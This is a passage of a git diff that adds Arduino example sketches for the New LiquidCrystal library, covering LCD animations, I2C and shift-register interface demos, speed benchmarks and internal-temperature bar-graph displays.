+LiquidCrystal_SR lcd(8,7,TWO_WIRE); +// | | +// | \-- Clock Pin +// \---- Data/Enable Pin + +// Creat a set of new characters +byte armsUp[8] = {0b00100,0b01010,0b00100,0b10101,0b01110,0b00100,0b00100,0b01010}; +byte armsDown[8] = {0b00100,0b01010,0b00100,0b00100,0b01110,0b10101,0b00100,0b01010}; + +void setup(){ + + lcd.begin(16,2); // initialize the lcd + + lcd.createChar (0, armsUp); // load character to the LCD + lcd.createChar (1, armsDown); // load character to the LCD + + lcd.home (); // go home + lcd.print("LiquidCrystal_SR"); +} + +void loop(){ + // Do a little animation + for(int i = 0; i <= 15; i++) showHappyGuy(i); + for(int i = 15; i >= 0; i--) showHappyGuy(i); +} + +void showHappyGuy(int pos){ + lcd.setCursor ( pos, 1 ); // go to position + lcd.print(char(random(0,2))); // show one of the two custom characters + delay(150); // wait so it can be seen + lcd.setCursor ( pos, 1 ); // go to position again + lcd.print(" "); // delete character +} \ No newline at end of file diff --git a/libraries/LiquidCrystal/examples/HelloWorld_i2c/HelloWorld_i2c.pde b/libraries/LiquidCrystal/examples/HelloWorld_i2c/HelloWorld_i2c.pde new file mode 100644 index 0000000..d0fd78c --- /dev/null +++ b/libraries/LiquidCrystal/examples/HelloWorld_i2c/HelloWorld_i2c.pde @@ -0,0 +1,61 @@ +#include +#include + + + +#define BACKLIGHT_PIN 13 + +LiquidCrystal_I2C lcd(0x38); // Set the LCD I2C address + +//LiquidCrystal_I2C lcd(0x38, BACKLIGHT_PIN, POSITIVE); // Set the LCD I2C address + + +// Creat a set of new characters +const uint8_t charBitmap[][8] = { + { 0xc, 0x12, 0x12, 0xc, 0, 0, 0, 0 }, + { 0x6, 0x9, 0x9, 0x6, 0, 0, 0, 0 }, + { 0x0, 0x6, 0x9, 0x9, 0x6, 0, 0, 0x0 }, + { 0x0, 0xc, 0x12, 0x12, 0xc, 0, 0, 0x0 }, + { 0x0, 0x0, 0xc, 0x12, 0x12, 0xc, 0, 0x0 }, + { 0x0, 0x0, 0x6, 0x9, 0x9, 0x6, 0, 0x0 }, + { 0x0, 0x0, 0x0, 0x6, 0x9, 0x9, 0x6, 0x0 }, + { 0x0, 0x0, 0x0, 0xc, 0x12, 0x12, 0xc, 0x0 } + +}; + +void setup() +{ + int charBitmapSize = (sizeof(charBitmap ) / sizeof (charBitmap[0])); + + // Switch on the backlight + pinMode ( BACKLIGHT_PIN, OUTPUT ); + digitalWrite ( BACKLIGHT_PIN, HIGH ); + + lcd.begin(16,2); // initialize the lcd + + for ( int i = 0; i < charBitmapSize; i++ ) + { + lcd.createChar ( i, (uint8_t *)charBitmap[i] ); + } + + lcd.home (); // go home + lcd.print("Hello, ARDUINO "); + lcd.setCursor ( 0, 1 ); // go to the next line + lcd.print (" FORUM - fm "); + delay ( 1000 ); +} + +void loop() +{ + lcd.home (); + // Do a little animation by writing to the same location + for ( int i = 0; i < 2; i++ ) + { + for ( int j = 0; j < 16; j++ ) + { + lcd.print (char(random(7))); + } + lcd.setCursor ( 0, 1 ); + } + delay (200); +} diff --git a/libraries/LiquidCrystal/examples/LCDiSpeed/LCDiSpeed.pde b/libraries/LiquidCrystal/examples/LCDiSpeed/LCDiSpeed.pde new file mode 100644 index 0000000..4edcddc --- /dev/null +++ b/libraries/LiquidCrystal/examples/LCDiSpeed/LCDiSpeed.pde @@ -0,0 +1,274 @@ +static char dummyvar; // dummy declaration for STUPID IDE!!!! +/*---------------------------------------------------------------------------- + * vi:ts=4 + * + * LCDiSpeed - LCD Interface Speed + * + * Created by Bill Perry 2012-03-16 + * Copyright 2012 - Under creative commons license 3.0: + * Attribution-NonCommercial-ShareAlike 3.0 Unported (CC BY-NC-SA 3.0) + * license page: http://creativecommons.org/licenses/by-nc-sa/3.0/ + * + * Sketch to measure and report the speed of the interface to the LCD and + * speed of updating the LCD. + * + * It runs a Frames/Sec (FPS) test which writes a "frame" of each digit 0-9 to + * the display. + * A "frame" is a full display of characters. + * It is created by positioning the cursor to the begining of each row + * and then writing a character to every position on the row, until the + * entire display is filled. + * The FPS test does a frame of 9's then 8's, .... down to 0's + * On fast interfaces it will not normally be seen. + * + * The sketch will then calculate & report transfer speeds and + * LCD update rates to the LCD display. + * + * Reported Information: + * - Single byte transfer speed (ByteXfer) + * This is the time it takes for a single character to be sent from + * the sketch to the LCD display. + * + * - Frame/Sec (FPS) + * This is the number of times the full display can be updated + * in one second. + * + * - Frame Time (Ftime) + * This is the amount of time it takes to update the full LCD display. + * + * + * The sketch will also report "independent" FPS and Ftime values. + * These are timing values that are independent of the size of the LCD under test. + * Currently they represent the timing for a 16x2 LCD + * The value of always having numbers for a 16x2 display + * is that these numbers can be compared to each other since they are + * independent of the size of the actual LCD display that is running the test. + * + * All times & rates are measured and calculeted from what a sketch "sees" + * using the LiquidCrystal API. + * It includes any/all s/w overhead including the time to go through the + * Arduino Print class and LCD library. + * The actual low level hardware times are obviously lower. + * + * History + * 2012.03.15 bperrybap - Original creation + * + * @author Bill Perry - bperrybap@opensource.billsworld.billandterrie.com + *---------------------------------------------------------------------------- + +/* + * Define your LCD size + */ +#define LCD_COLS 16 +#define LCD_ROWS 2 + +/* + * Pick your interface. + */ + +//#define LCDIF_4BIT +//#define LCDIF_I2C +//#define LCDIF_SR2W +//#define LCDIF_SR_2W // SR in 2 wire mode +//#define LCDIF_SR_3W // SR in 3 wire mode +#define LCDIF_SR3W +//#define LCDIF_SR1W + + +/* + * Options + */ + +#define FPS_iter 1 // number of iterations to repeat each "frame" within the test + // (current frame test is 10 full display frames, 1 for each digits 0-9) + // FPS_iter like 100 will allow the frames to be seen + // Note: the only reason other than visual to make this larger than 1 + // might be to compensate for Async serial buffering should a serial interface be tested + // even with 1 iteration, 340 bytes are written for a 16x2 display + // bytes written = FPS_iter * ((LCD_ROWS * LCD_COLS) + LCD_ROWS) * 10 + +#define iLCD // turn on code to calculate speed of "independent" sized display +#define iLCD_ROWS 2 // independent FPS row size +#define iLCD_COLS 16 // independent FPS col size + + +#define DELAY_TIME 3500 // delay time to see information on lcd + +#if defined(LCDIF_4BIT) + +// Include the Liquid Crystal library code: +#include + +// initialize the library with the numbers of the interface pins +// lcd(RS, E, d4, d5, d6, d7, bl, polarity) +#ifdef BACKLIGHT_ON +LiquidCrystal lcd( 8, 9, 4, 5, 6, 7, 10, POSITIVE); // new constructor with backlight support +#else +LiquidCrystal lcd( 8, 9, 4, 5, 6, 7); // old style constructor w/o backlight (to test old library) +#endif + +#elif defined(LCDIF_I2C) +#include +#include + +LiquidCrystal_I2C lcd(0x38); // Set the LCD I2C address + + +#elif defined(LCDIF_SR3W) +#include + // d,clk,strb, en,rw,rs,d4,d5,d6,d7,bl,blpol +//LiquidCrystal_SR3W lcd (2, 3, 4, 6, 7, 1, 2, 3, 4, 5, 0, POSITIVE); +LiquidCrystal_SR3W lcd(3, 2, 4); + +#elif defined(LCDIF_SR2W) + +#include + // d, clk, (blPolarity optional, defaults to POSITIVE) +LiquidCrystal_SR2W lcd (2, 3); + +#elif defined(LCDIF_SR1W) + +#include +LiquidCrystal_SR1W lcd (2); + +#elif defined(LCDIF_SR_2W) + +#include + // d, clk +LiquidCrystal_SR lcd (2, 3); + +#elif defined(LCDIF_SR_3W) + +#include + // d,clk,strb +LiquidCrystal_SR lcd (2, 3, 4); + +#endif + +void setup() +{ + // set up the LCD's number of columns and rows: + lcd.begin(LCD_COLS, LCD_ROWS); + +#ifdef BACKLIGHT_ON + lcd.backlight(); // make sure backlight is on with new library +#endif +} + +void loop() +{ +unsigned long etime; +char buf[8]; + + lcd.clear(); + + + /* + * Time an FPS test + */ + + etime = timeFPS(FPS_iter, LCD_COLS, LCD_ROWS); + + /* + * show the average single byte xfer time during the FPS test + */ + showByteXfer(etime); + + /* + * show FPS rate and Frame update time for this display + */ + + sprintf(buf, "%dx%d", LCD_COLS, LCD_ROWS); + showFPS(etime, buf); + +#ifdef iLCD + /* + * calculate Independent FPS and Frame update time + * (rate & time for a "standard" display - default of 16x2) + * This is simply a matter of scaling the time based on the + * ratio of the display sizes. + */ + + etime = etime *iLCD_ROWS * iLCD_COLS / LCD_ROWS / LCD_COLS; + + /* + * show independent FPS rate & Frame update time + */ + sprintf(buf, "%dx%d", iLCD_COLS, iLCD_ROWS); + showFPS(etime, buf); +#endif + +} + +unsigned long timeFPS(uint8_t iter, uint8_t cols, uint8_t rows) +{ +char c; +unsigned long stime, etime; + + stime = micros(); + for(c = '9'; c >= '0'; c--) // do not change this unless you change the FPS/ByteXfer calcuations as well + { + for(uint8_t i = 0; i < iter; i++) + { + for(uint8_t row = 0; row < rows; row++) + { + lcd.setCursor(0, row); + for(uint8_t col = 0; col< cols;col++) + { + lcd.write(c); + } + } + } + } + etime = micros(); + return((etime-stime)); +} +void showFPS(unsigned long etime, const char *type) +{ +float fps; + + + /* + * calculate Frame update time and FPS rate + * The 10.0 is for the 10 frames done per iteration + * one for each digit 0-9 + */ + + fps = (10.0 * FPS_iter) * 1000000.0/(etime); + + + lcd.clear(); + lcd.print(type); + lcd.print("FPS: "); + lcd.print(fps); + + if(LCD_ROWS > 1) + { + lcd.setCursor(0,1); + } + else + { + delay(DELAY_TIME); + lcd.clear(); + } + lcd.print("Ftime: "); + lcd.print((etime)/10.0/FPS_iter/1000); + lcd.print("ms"); + + delay(DELAY_TIME); +} +void showByteXfer(unsigned long etime) +{ + lcd.clear(); + lcd.print("ByteXfer: "); + /* + * Calculate average byte xfer time from time of FPS test + * This takes into consideration the set cursor position commands which + * are single byte commands and take the same amount of time as a data byte write. + * The final result is rounded up to an integer. + */ + lcd.print((int) (etime / (FPS_iter * (10.0 * (LCD_COLS * LCD_ROWS + LCD_ROWS)))+0.5)); + lcd.print("uS"); + + delay(DELAY_TIME); +} diff --git a/libraries/LiquidCrystal/examples/LCDiSpeed/LCDiSpeed.txt b/libraries/LiquidCrystal/examples/LCDiSpeed/LCDiSpeed.txt new file mode 100644 index 0000000..b59d013 --- /dev/null +++ b/libraries/LiquidCrystal/examples/LCDiSpeed/LCDiSpeed.txt @@ -0,0 +1,20 @@ +16Mhz AVR +Interface ByteXfer 16x2FPS Ftime +---------------------------------------------- +4BIT 338uS 86.92 11.51ms (orignal Liquid Crystal) +4BIT 98uS 298.58 3.35ms +SR2W 76uS 388.62 2.57ms +SR_2W 72uS 406.90 2.46ms +SR_3W 61uS 480.03 2.08ms +SR3W 102uS 287.92 3.47ms + + +80Mhz Pic32 (ChipKit Uno32) +Interface ByteXfer 16x2FPS Ftime +---------------------------------------------- +4BIT 232uS 126.73 7.89ms (orignal mpide Liquid Crystal) +4BIT 57uS 517.41 1.93ms +SR2W 53uS 557.35 1.79ms +SR_2W 53uS 554.66 1.80ms +SR_3W 50uS 591.40 1.69ms +SR3W 56uS 524.91 1.91ms diff --git a/libraries/LiquidCrystal/examples/SerialDisplay/SerialDisplay.pde b/libraries/LiquidCrystal/examples/SerialDisplay/SerialDisplay.pde new file mode 100644 index 0000000..ce21e1c --- /dev/null +++ b/libraries/LiquidCrystal/examples/SerialDisplay/SerialDisplay.pde @@ -0,0 +1,37 @@ +/* + * Displays text sent over the serial port (e.g. from the Serial Monitor) on + * an attached LCD. + */ +#include +#include + +#define BACKLIGHT_PIN 13 + +LiquidCrystal_I2C lcd(0x38); // set the LCD address to 0x38 + +void setup() +{ + pinMode ( BACKLIGHT_PIN, OUTPUT ); + lcd.begin (16,2); + digitalWrite ( BACKLIGHT_PIN, HIGH ); + + Serial.begin(57600); +} + +void loop() +{ + // when characters arrive over the serial port... + if (Serial.available()) + { + // wait a bit for the entire message to arrive + delay(100); + // clear the screen + lcd.clear(); + // read all the available characters + while (Serial.available() > 0) + { + // display each character to the LCD + lcd.write(Serial.read()); + } + } +} diff --git a/libraries/LiquidCrystal/examples/i2cLCDextraIO/i2cLCDextraIO.pde b/libraries/LiquidCrystal/examples/i2cLCDextraIO/i2cLCDextraIO.pde new file mode 100644 index 0000000..5eaad1f --- /dev/null +++ b/libraries/LiquidCrystal/examples/i2cLCDextraIO/i2cLCDextraIO.pde @@ -0,0 +1,246 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 1/1/12. +// Copyright 2011 - Under creative commons license: +// Attribution-NonCommercial-ShareAlike CC BY-NC-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file i2CLCDextraIO.pde +// Temperature logging to demonstrate the I2CLCDextraIO library. +// +// @brief This application is a demostration file for the I2CLCDextraIO library +// that reads a temperature from the internal ATMEGA328p temperature sensor +// and displays it on the LCD. The application also demonstrates some of the +// methods of the library, such as loading custom characters to the LCD, +// moving around the LCD, and writing to it. +// +// @author F. Malpartida +// --------------------------------------------------------------------------- +#include +#include + +#define _LCD_I2C_ + +#ifdef _LCD_I2C_ +#include +#endif + +#ifdef _LCD_4BIT_ +#include +#endif + + +/*! + @defined CHAR_WIDTH + @abstract Character witdth of the display, expressed in pixeles per character. +*/ +#define CHAR_WIDTH 5 + +/*! + @defined BACKLIGHT_PIN + @abstract LCD backlight pin definition. + @discussion AVR pin used for the backlight illumintation of the LCD. +*/ +#define BACKLIGHT_PIN 7 + +/*! + @defined TEMP_CAL_OFFSET + @abstract Temperature calibration offset. + @discussion This is the offset value that has to be modified to get a + correct temperature reading from the internal temperature sensor + of your AVR. +*/ +#define TEMP_CAL_OFFSET 334 + +/*! + @defined FILTER_ALP + @abstract Low pass filter alpha value + @discussion This value defines how much does the current reading, influences + the over all value. The smaller, the less influence the current + reading has over the overall result. +*/ +#define FILTER_ALP 0.1 + +extern unsigned int __bss_end; +extern unsigned int __heap_start; +extern void *__brkval; + +#ifdef _LCD_I2C_ +LiquidCrystal_I2C lcd(0x38); // set the LCD address to 0x20 for a 16 chars and 2 line display +#endif + +#ifdef _LCD_4BIT_ +LiquidCrystal lcd(12, 11, 5, 4, 3, 2, BACKLIGHT_PIN, POSITIVE); +#endif +const int CONTRAST_PIN = 9; +const int CONTRAST = 65; + + + +LCD *myLCD = &lcd; + +static double tempFilter; + + +/*! + @const charBitmap + @abstract Define Character bitmap for the bargraph. + @discussion Defines a character bitmap to represent a bargraph on a text + display. The bitmap goes from a blank character to full black. +*/ +const uint8_t charBitmap[][8] = { + { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, + { 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x0 }, + { 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x0 }, + { 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x0 }, + { 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x0 }, + { 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x0 }, + { 0xe, 0x11, 0x11, 0x11, 0xe, 0, 0, 0 }, + { 0x6, 0x9, 0x9, 0x6, 0x0, 0, 0, 0} +}; + +/*! + @function + @abstract Return available RAM memory + @discussion This routine returns the ammount of RAM memory available after + initialising the C runtime. + @param + @result Free RAM available. +*/ + +static int freeMemory() +{ + int free_memory; + + if((int)__brkval == 0) + free_memory = ((int)&free_memory) - ((int)&__bss_end); + else + free_memory = ((int)&free_memory) - ((int)__brkval); + + return free_memory; +} + +/*! + @function + @abstract Returns AVR328p internal temperature + @discussion Configures the ADC MUX for the temperature ADC channel and + waits for conversion and returns the value of the ADC module + @result The internal temperature reading - in degrees C +*/ + +static int readTemperature() +{ + ADMUX = 0xC8; // activate interal temperature sensor, + // using 1.1V ref. voltage + ADCSRA |= _BV(ADSC); // start the conversion + while (bit_is_set(ADCSRA, ADSC)); // ADSC is cleared when the conversion + // finishes + + // combine bytes & correct for temperature offset (approximate) + return ( (ADCL | (ADCH << 8)) - TEMP_CAL_OFFSET); +} + +/*! + @function + @abstract Braws a bargraph onto the display representing the value passed. + @discussion Draws a bargraph on the specified row using barLength characters. + @param value[in] Value to represent in the bargraph + @param row[in] Row of the LCD where to display the bargraph. Range (0, 1) + for this display. + @param barlength[in] Length of the bar, expressed in display characters. + @param start[in] Start bar character + @param end [in] End bar character + + @result None +*/ +static void drawBars ( int value, uint8_t row, uint8_t barLength, char start, + char end ) +{ + int numBars; + + // Set initial titles on the display + myLCD->setCursor (0, row); + myLCD->print (start); + + // Calculate the size of the bar + value = map ( value, -30, 50, 0, ( barLength ) * CHAR_WIDTH ); + numBars = value / CHAR_WIDTH; + + // Limit the size of the bargraph to barLength + if ( numBars > barLength ) + { + numBars = barLength; + } + myLCD->setCursor ( 1, row ); + + // Draw the bars + while ( numBars-- ) + { + myLCD->print ( char( 5 ) ); + } + + // Draw the fractions + numBars = value % CHAR_WIDTH; + myLCD->print ( char(numBars) ); + myLCD->setCursor (barLength + 1, row); + myLCD->print (end); + +} + +void setup () +{ + int i; + int charBitmapSize = (sizeof(charBitmap ) / sizeof (charBitmap[0])); + + Serial.begin ( 57600 ); + analogReference ( INTERNAL ); + +#ifdef _LCD_4BIT_ + pinMode(CONTRAST_PIN, OUTPUT); + lcd.backlight(); + digitalWrite(BACKLIGHT_PIN, HIGH); + analogWrite (CONTRAST_PIN, CONTRAST); +#else + pinMode ( BACKLIGHT_PIN, OUTPUT ); + digitalWrite(BACKLIGHT_PIN, HIGH); +#endif + + myLCD->begin ( 16, 2 ); + + // Load custom character set into CGRAM + for ( i = 0; i < charBitmapSize; i++ ) + { + myLCD->createChar ( i, (uint8_t *)charBitmap[i] ); + } + Serial.println ( freeMemory () ); + + myLCD->clear (); + myLCD->print ("Temp:"); + + tempFilter = readTemperature (); // Initialise the temperature Filter + +} + + +void loop () +{ + int temp; + + temp = readTemperature(); + tempFilter = ( FILTER_ALP * temp) + (( 1.0 - FILTER_ALP ) * tempFilter); + + myLCD->setCursor ( 8, 0 ); + myLCD->print (" "); + myLCD->setCursor ( 8, 0 ); + myLCD->print ( tempFilter, 1 ); + myLCD->setCursor ( 12, 0 ); + myLCD->print ( "\x07" ); + myLCD->print ("C"); + drawBars ( tempFilter, 1, 14, '-', '+' ); + + delay (200); +} diff --git a/libraries/LiquidCrystal/examples/i2cLCDextraIO_tempLeonardo/i2cLCDextraIO_tempLeonardo.ino b/libraries/LiquidCrystal/examples/i2cLCDextraIO_tempLeonardo/i2cLCDextraIO_tempLeonardo.ino new file mode 100644 index 0000000..f981507 --- /dev/null +++ b/libraries/LiquidCrystal/examples/i2cLCDextraIO_tempLeonardo/i2cLCDextraIO_tempLeonardo.ino @@ -0,0 +1,332 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 1/1/12. +// Copyright 2011 - Under creative commons license: +// Attribution-NonCommercial-ShareAlike CC BY-NC-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file i2CLCDextraIO_tempLeonardo.ino +// Temperature logging to demonstrate the I2CLCDextraIO library. +// +// @brief This application is a demostration file for the I2CLCDextraIO library +// that reads a temperature from the internal ATMEGA32U4 temperature sensor +// and displays it on the LCD. The application also demonstrates some of the +// methods of the library, such as loading custom characters to the LCD, +// moving around the LCD, and writing to it. +// +// @author F. Malpartida +// --------------------------------------------------------------------------- +#include +#include +#include + +#define _LCD_SR3W_ + +#ifdef _LCD_I2C_ +#include +#endif + +#ifdef _LCD_4BIT_ +#include +#endif + + +#ifdef _LCD_SR_ +#include +#endif + +#ifdef _LCD_SR3W_ +#include +#endif + + +/*! + @defined CHAR_WIDTH + @abstract Character witdth of the display, expressed in pixeles per character. +*/ +#define CHAR_WIDTH 5 + +/*! + @defined BACKLIGHT_PIN + @abstract LCD backlight pin definition. + @discussion AVR pin used for the backlight illumintation of the LCD. +*/ +#define BACKLIGHT_PIN 12 + +/*! + @defined STATUS_PIN + @abstract Status LED indicator. + @discussion Activity LED blinking indicating that the system is up. +*/ +#define STATUS_PIN 13 + +/*! + @defined LOOP_DELAY + @abstract Main loop delay. + @discussion Main loop delay executing temperature readings and LCD updates. +*/ +#define LOOP_DELAY 300 + +/*! + @defined TEMP_CAL_OFFSET + @abstract Temperature calibration offset. + @discussion This is the offset value that has to be modified to get a + correct temperature reading from the internal temperature sensor + of your AVR. +*/ +#define TEMP_CAL_OFFSET 282 + +/*! + @defined FILTER_ALP + @abstract Low pass filter alpha value + @discussion This value defines how much does the current reading, influences + the over all value. The smaller, the less influence the current + reading has over the overall result. +*/ +#define FILTER_ALP 0.1 + +/*! + @defined MIN_TEMP + @abstract Minimum temperature range for bargraph + +*/ +#define MIN_TEMP -10 + +/*! + @defined MAX_TEMP + @abstract Maximum temperature range for bargraph + +*/ +#define MAX_TEMP 50 + +extern unsigned int __bss_end; +extern unsigned int __heap_start; +extern void *__brkval; + + +// Initialise LCD module +// ----------------------------------------------------------------------------- +#ifdef _LCD_I2C_ +LiquidCrystal_I2C lcd(0x38); +#endif + +#ifdef _LCD_4BIT_ +LiquidCrystal lcd(12, 11, 5, 4, 3, 2, BACKLIGHT_PIN, POSITIVE); +const int CONTRAST_PIN = 9; +const int CONTRAST = 65; +#endif + +#ifdef _LCD_SR_ +LiquidCrystal_SR lcd(3,2,TWO_WIRE); +// | | +// | \-- Clock Pin +// \---- Data/Enable Pin +#endif + +#ifdef _LCD_SR3W_ +LiquidCrystal_SR3W lcd(3, 2, 4); +// | | +// | \-- Clock Pin +// \---- Data/Enable Pin +#endif + + +// LCD reference variable +LCD *myLCD = &lcd; + +// Temperature filter variable +static double tempFilter; + +/*! + @const charBitmap + @abstract Define Character bitmap for the bargraph. + @discussion Defines a character bitmap to represent a bargraph on a text + display. The bitmap goes from a blank character to full black. +*/ +const uint8_t charBitmap[][8] = { + { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, + { 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x0 }, + { 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x0 }, + { 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x0 }, + { 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x0 }, + { 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x0 }, + { 0xe, 0x11, 0x11, 0x11, 0xe, 0, 0, 0 }, + { 0x6, 0x9, 0x9, 0x6, 0x0, 0, 0, 0} +}; + +/*! + @function + @abstract Return available RAM memory + @discussion This routine returns the ammount of RAM memory available after + initialising the C runtime. + @param + @result Free RAM available. +*/ +static int freeMemory() +{ + int free_memory; + + if((int)__brkval == 0) + free_memory = ((int)&free_memory) - ((int)&__bss_end); + else + free_memory = ((int)&free_memory) - ((int)__brkval); + + return free_memory; +} + +/*! + @function + @abstract Returns AVR328p internal temperature + @discussion Configures the ADC MUX for the temperature ADC channel and + waits for conversion and returns the value of the ADC module + @result The internal temperature reading - in degrees C +*/ + +static int readTemperature() +{ + ADMUX = 0xC7; // activate interal temperature sensor, + // using 2.56V ref. voltage + ADCSRB |= _BV(MUX5); + + ADCSRA |= _BV(ADSC); // start the conversion + while (bit_is_set(ADCSRA, ADSC)); // ADSC is cleared when the conversion + // finishes + + // combine bytes & correct for temperature offset (approximate) + return ( (ADCL | (ADCH << 8)) - TEMP_CAL_OFFSET); +} + +/*! + @function + @abstract Braws a bargraph onto the display representing the value passed. + @discussion Draws a bargraph on the specified row using barLength characters. + @param value[in] Value to represent in the bargraph + @param row[in] Row of the LCD where to display the bargraph. Range (0, 1) + for this display. + @param barlength[in] Length of the bar, expressed in display characters. + @param start[in] Start bar character + @param end [in] End bar character + + @result None +*/ +static void drawBars ( int value, uint8_t row, uint8_t barLength, char start, + char end ) +{ + int numBars; + + // Set initial titles on the display + myLCD->setCursor (0, row); + myLCD->print (start); + + // Calculate the size of the bar + value = map ( value, MIN_TEMP, MAX_TEMP, 0, ( barLength ) * CHAR_WIDTH ); + numBars = value / CHAR_WIDTH; + + // Limit the size of the bargraph to barLength + if ( numBars > barLength ) + { + numBars = barLength; + } + myLCD->setCursor ( 1, row ); + + // Draw the bars + while ( numBars-- ) + { + myLCD->print ( char( 5 ) ); + } + + // Draw the fractions + numBars = value % CHAR_WIDTH; + myLCD->print ( char(numBars) ); + myLCD->setCursor (barLength + 1, row); + myLCD->print (end); + +} + +/*! + @function + @abstract Initialise the HW + @discussion Initialise the HW used within this application: UART, LCD & IOs + @param + @result +*/ + +static void initHW ( void ) +{ + int i; + int charBitmapSize = (sizeof(charBitmap ) / sizeof (charBitmap[0])); + + Serial.begin ( 57600 ); + + // Hardware initialise + // ------------------------------------ + + //ADCSRA |= (1 << ADEN); // Initialise ADC block (no need done by env) + + // Initialise LCD HW: backlight and LCD + // ------------------------------------- +#ifdef _LCD_4BIT_ + pinMode(CONTRAST_PIN, OUTPUT); + analogWrite (CONTRAST_PIN, CONTRAST); +#endif + +#ifdef _LCD_I2C_ + pinMode ( BACKLIGHT_PIN, OUTPUT ); + digitalWrite (BACKLIGHT_PIN, HIGH); +#endif + pinMode ( STATUS_PIN, OUTPUT ); + + myLCD->begin ( 20, 2 ); + // Load custom character set into CGRAM + // -------------------------------------------------------------------- + for ( i = 0; i < charBitmapSize; i++ ) + { + myLCD->createChar ( i, (uint8_t *)charBitmap[i] ); + } +} + +void setup () +{ + initHW(); + + Serial.println ( freeMemory () ); + myLCD->clear (); + myLCD->print ( F("Free Mem: ")); + myLCD->print ( freeMemory () ); + delay ( 2000 ); + myLCD->clear (); + myLCD->print (F("Temp:")); + myLCD->setCursor ( 8, 0 ); + + tempFilter = 0; + myLCD->print ( readTemperature() ); +} + + +void loop () +{ + int temp; + static byte status = 1; + + status ^= 1; + digitalWrite ( STATUS_PIN, status); + + temp = readTemperature(); + tempFilter = ( FILTER_ALP * temp) + (( 1.0 - FILTER_ALP ) * tempFilter); + + // Display the information to the LCD + myLCD->setCursor ( 8, 0 ); + myLCD->print (" "); + myLCD->setCursor ( 8, 0 ); + myLCD->print ( tempFilter, 1 ); + myLCD->setCursor ( 12, 0 ); + myLCD->print ( "\x07" ); + myLCD->print ("C"); + drawBars ( tempFilter, 1, 14, '-', '+' ); + + delay (LOOP_DELAY); +} \ No newline at end of file diff --git a/libraries/LiquidCrystal/examples/performanceLCD/performanceLCD.pde b/libraries/LiquidCrystal/examples/performanceLCD/performanceLCD.pde new file mode 100644 index 0000000..dea6c50 --- /dev/null +++ b/libraries/LiquidCrystal/examples/performanceLCD/performanceLCD.pde @@ -0,0 +1,480 @@ +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file performanceLCD.h +// This sketch implements a simple benchmark for the New LiquidCrystal library. +// +// @brief +// This sketch provides a simple benchmark for the New LiquidCrystal library. It +// enables to test the varios classes provided by the library giving a performance +// reference. +// +// This library is only compatible with Arduino's SDK version 1.0 +// +// @version API 1.0.0 +// +// @author F. Malpartida - fmalpartida@gmail.com +// Contribution by flo - Florian@Fida.biz - for benchmarking SR +// --------------------------------------------------------------------------- +#include + +#define _LCD_I2C_ + +#ifdef _LCD_I2C_ +#include +#endif + +#ifdef _LCD_4BIT_ +#include +#endif + +#ifdef _LCD_SR_ +#include +#endif + +#ifdef _LCD_SR3W_ +#include +#endif + +#ifdef _LCD_SR1_ +#include +#endif + +// C runtime variables +// ------------------- +#ifdef __AVR__ +extern unsigned int __bss_end; +extern unsigned int __heap_start; +extern void *__brkval; +#endif + +// Constants and definitions +// ------------------------- +// Definitions for compatibility with Arduino SDK prior to version 1.0 +#ifndef F +#define F(str) str +#endif + +/*! + @defined NUM_BENCHMARKS + @abstract Number of benchmarks in the project. + */ +#define NUM_BENCHMARKS 4 + +/*! + @defined ITERATIONS + @abstract Number of benchmarks iterations to perform. + */ +#define ITERATIONS 10 + +/*! + @defined LCD_ROWS + @abstract LCD rows + @discussion Defines the number of rows that the LCD has, normal LCD ranges are (1, 2, 4). + */ +#define LCD_ROWS 2 + +/*! + @defined LCD_COLUMNS + @abstract LCD available columns + @discussion Defines the number of colums that the LCD has, normal LCD ranges are (8, 16, 20). + */ +#define LCD_COLUMNS 16 + +/*! + @const Pin constant definitions + @abstract Define several constants required to manage the LCD backlight and contrast + */ +#ifdef _LCD_I2C_ +const int BACKLIGHT_PIN = 12; +const int CONTRAST_PIN = 0; // none +const int CONTRAST = 0; // none +#endif + +#ifdef _LCD_4BIT_ +const int CONTRAST_PIN = 9; +const int BACKLIGHT_PIN = 7; +const int CONTRAST = 120; +#endif + +#ifdef _LCD_SR_ +const int CONTRAST_PIN = 0; // not connected +const int BACKLIGHT_PIN = 0; // none +const int CONTRAST = 0; +#endif + +#ifdef _LCD_SR1_ +const int CONTRAST_PIN = 0; // not connected +const int BACKLIGHT_PIN = 0; // none +const int CONTRAST = 0; +#endif + +#ifdef _LCD_SR3W_ +const int CONTRAST_PIN = 0; // none +const int BACKLIGHT_PIN = 5; +const int CONTRAST = 0; +#endif + +/*! + @const charBitmap + @abstract Define Character bitmap for the bargraph. + @discussion Defines a character bitmap to represent a bargraph on a text + display. The bitmap goes from a blank character to full black. + */ +const uint8_t charBitmap[][8] = { + { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, + { 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x0 }, + { 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x0 }, + { 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x0 